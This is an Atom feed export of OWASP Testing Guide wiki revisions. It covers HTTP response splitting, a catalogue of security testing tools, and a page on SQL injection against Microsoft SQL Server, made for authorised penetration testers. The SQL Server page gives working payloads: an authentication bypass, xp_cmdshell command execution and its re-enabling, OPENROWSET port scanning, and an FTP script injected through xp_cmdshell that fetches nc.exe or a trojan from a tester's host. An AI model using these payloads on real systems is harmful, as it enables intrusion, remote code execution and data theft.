identify all user controlled input that influences one or more headers in the&lt;br /&gt;
response, and check whether he/she can successfully inject a CR+LF sequence in&lt;br /&gt;
it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a&lt;br /&gt;
real world scenario can be quite complex, as several factors must be taken&lt;br /&gt;
into account:&lt;br /&gt;
&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g.: &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g.: UTF-7)&lt;br /&gt;
# Different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. Other targets will assume that different messages will be carried by different packets.&lt;br /&gt;
&lt;br /&gt;
For a detailed discussion about this attacks, check the papers referenced at&lt;br /&gt;
the bottom of this page&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=13734</id>
		<title>Appendix A: Testing Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=13734"/>
				<updated>2006-11-27T12:09:04Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* Testing for specific vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Open Source Black Box Testing tools==&lt;br /&gt;
&lt;br /&gt;
* '''OWASP WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts. Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
* '''OWASP Pantera''' - http://www.owasp.org/index.php/Category:OWASP_Pantera_Web_Assessment_Studio_Project&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* SPIKE - http://www.immunitysec.com&lt;br /&gt;
* Paros - http://www.proofsecure.com&lt;br /&gt;
* Burp Proxy - http://www.portswigger.net&lt;br /&gt;
* Achilles Proxy - http://www.mavensecurity.com/achilles&lt;br /&gt;
* Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/&lt;br /&gt;
* Webstretch Proxy - http://sourceforge.net/projects/webstretch&amp;lt;br&amp;gt;&lt;br /&gt;
* Firefox LiveHTTPHeaders, Tamper Data and Developer Tools- http://www.mozdev.org&lt;br /&gt;
* Sensepost Wikto (Google cached fault-finding) - http://www.sensepost.com/research/wikto/index2.html&lt;br /&gt;
&lt;br /&gt;
=== Testing for specific vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
'''Testing AJAX '''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP SPRAJAX - http://www.owasp.org/index.php/Category:OWASP_Sprajax_Project&lt;br /&gt;
'''Testing for SQL Injection '''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP SQLiX - http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
* Multiple DBMS Sql Injection tool - [SQL Power Injector]&lt;br /&gt;
* MySql Blind Injection Bruteforcing, Reversing.org - [sqlbftools]&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - [SqlDumper]&lt;br /&gt;
* Sqlninja: a SQL Server Injection&amp;amp;Takeover Tool - http://sqlninja.sourceforge.net &lt;br /&gt;
* SQLmap - http://www.linux.it/~belch/creations/sqlmap-0.0.1.tgz&lt;br /&gt;
* Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing Oracle'''&lt;br /&gt;
* TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html&lt;br /&gt;
* Toad for Oracle - http://www.quest.com/toad &lt;br /&gt;
'''Testing SSL '''&amp;lt;br&amp;gt;&lt;br /&gt;
* Foundstone SSL Digger - http://www.foundstone.com/resources/proddesc/ssldigger.htm&lt;br /&gt;
'''Testing for Brute Force Password'''&lt;br /&gt;
* THC Hydra - http://www.thc.org/thc-hydra/&lt;br /&gt;
* John the Ripper - http://www.openwall.com/john/&lt;br /&gt;
* Brutus - http://www.hoobie.net/brutus/ &lt;br /&gt;
'''Testing for HTTP Methods'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
'''Testing Buffer Overflow'''&lt;br /&gt;
*  OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/ &lt;br /&gt;
'''Fuzzer'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP WSFuzzer - http://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project&lt;br /&gt;
'''Googling'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Foundstone Sitedigger (Google cached fault-finding) - http://www.foundstone.com/resources/proddesc/sitedigger.htm&lt;br /&gt;
&lt;br /&gt;
==Commercial Black Box Testing tools==&lt;br /&gt;
&lt;br /&gt;
* Watchfire AppScan - http://www.watchfire.com&lt;br /&gt;
* Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php&amp;lt;br&amp;gt;&lt;br /&gt;
* SPI Dynamics WebInspect - http://www.spidynamics.com&lt;br /&gt;
* Burp Intruder - http://portswigger.net/intruder&amp;lt;br&amp;gt;&lt;br /&gt;
* Acunetix Web Vulnerability Scanner - http://www.acunetix.com/&amp;lt;br&amp;gt;&lt;br /&gt;
* ScanDo - http://www.kavado.com&lt;br /&gt;
* WebSleuth - http://www.sandsprite.com&lt;br /&gt;
* NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php&amp;lt;br&amp;gt;&lt;br /&gt;
* Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester&amp;lt;br&amp;gt;&lt;br /&gt;
* Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/&amp;lt;br&amp;gt;&lt;br /&gt;
* MaxPatrol Security Scanner - http://www.maxpatrol.com/&amp;lt;br&amp;gt;&lt;br /&gt;
* Ecyware GreenBlue Inspector - http://www.ecyware.com/&amp;lt;br&amp;gt;&lt;br /&gt;
* Parasoft WebKing (more QA-type tool)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Source Code Analyzers==&lt;br /&gt;
&lt;br /&gt;
===Open Source / Freeware===&lt;br /&gt;
&lt;br /&gt;
* http://www.securesoftware.com&lt;br /&gt;
* FlawFinder - http://www.dwheeler.com/flawfinder&lt;br /&gt;
* Microsoft’s FXCop - http://www.gotdotnet.com/team/fxcop&lt;br /&gt;
* Split - http://splint.org&lt;br /&gt;
* Boon - http://www.cs.berkeley.edu/~daw/boon&lt;br /&gt;
* Pscan - http://www.striker.ottawa.on.ca/~aland/pscan&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Commercial ===&lt;br /&gt;
&lt;br /&gt;
* Fortify - http://www.fortifysoftware.com&lt;br /&gt;
* Ounce labs Prexis - http://www.ouncelabs.com&lt;br /&gt;
* GrammaTech - http://www.grammatech.com&lt;br /&gt;
* ParaSoft - http://www.parasoft.com&lt;br /&gt;
* ITS4 - http://www.cigital.com/its4&lt;br /&gt;
* CodeWizard - http://www.parasoft.com/products/wizard&lt;br /&gt;
&lt;br /&gt;
==Other Tools==&lt;br /&gt;
&lt;br /&gt;
===Runtime Analysis===&lt;br /&gt;
&lt;br /&gt;
*  Rational PurifyPlus - http://www-306.ibm.com/software/awdtools&lt;br /&gt;
&lt;br /&gt;
===Binary Analysis===&lt;br /&gt;
&lt;br /&gt;
* BugScam - http://sourceforge.net/projects/bugscam&lt;br /&gt;
* BugScan - http://www.hbgary.com&lt;br /&gt;
&lt;br /&gt;
===Requirements Management===&lt;br /&gt;
&lt;br /&gt;
* Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro&lt;br /&gt;
&lt;br /&gt;
'''Site Mirroring'''&lt;br /&gt;
* wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html&lt;br /&gt;
* curl - http://curl.haxx.se &lt;br /&gt;
* Sam Spade - http://www.samspade.org&lt;br /&gt;
* Xenu - http://home.snafu.de/tilman/xenulink.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13689</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13689"/>
				<updated>2006-11-25T18:26:09Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that it can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated and, even if it works to all SQL Server versions up to 2005, might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
Also SQL Server built-in functions and environment variables are very handy: The following uses the function '''db_name()''' to trigger an error that will return the name of the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error that, if displayed by the vulnerable application, will contain the name of the DB.&lt;br /&gt;
&lt;br /&gt;
The following example uses the environment variable '''@@version ''', combined with a &amp;quot;union select&amp;quot;-style injection, in order to find the version of the SQL Server.&lt;br /&gt;
&amp;lt;pre&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
And here's the same attack, but using again the conversion trick:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. &lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
